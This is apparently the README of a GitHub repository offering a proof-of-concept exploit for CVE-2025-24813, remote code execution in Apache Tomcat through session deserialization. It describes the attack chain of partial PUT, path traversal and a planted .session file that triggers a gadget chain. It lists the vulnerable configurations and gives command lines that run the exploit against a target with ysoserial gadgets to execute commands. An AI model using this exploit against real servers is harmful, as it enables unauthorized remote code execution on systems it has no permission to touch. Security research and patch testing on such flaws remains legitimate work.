yuzuki-ayanami/cve-2025-24813CVE-2025-24813 - Apache Tomcat 通过会话反序列化实现远程代码执行 - PoC 漏洞利用
Apache Tomcat - 通过会话反序列化实现远程代码执行
未认证的部分PUT + 路径遍历 + 小工具驱动的反序列化
启用了默认 Servlet PUT 功能（readonly=false）的 Apache Tomcat 实例允许通过 HTTP PUT 请求写入文件。通过构造一个能跨越上传目录路径并指向 FileStore 会话存储位置的路径，攻击者可以将精心构造的序列化 Java 对象作为 .session 文件植入。后续引用该会话的请求会触发反序列化，执行嵌入的小工具链。
conf/web.xml 中配置默认 Servlet readonly=falseMETA-INF/context.xml 中配置了带有 FileStore 的 org.apache.catalina.session.PersistentManagerorg.apache.commons.collections.enableUnsafeSerialization=true（或 commons-collections < 3.2.2）PUT 和路径遍历未被反向代理或 WAF 过滤git clone https://github.com/yuzuki-ayanami/CVE-2025-24813
cd CVE-2025-24813
pip install -r requirements.txt
python cve-2025-24813.py http://target:8080 --ysoserial ysoserial.jar -c 'id'
python cve-2025-24813.py http://target:8080 --ysoserial ysoserial.jar -c 'whoami' --gadget CommonsCollections7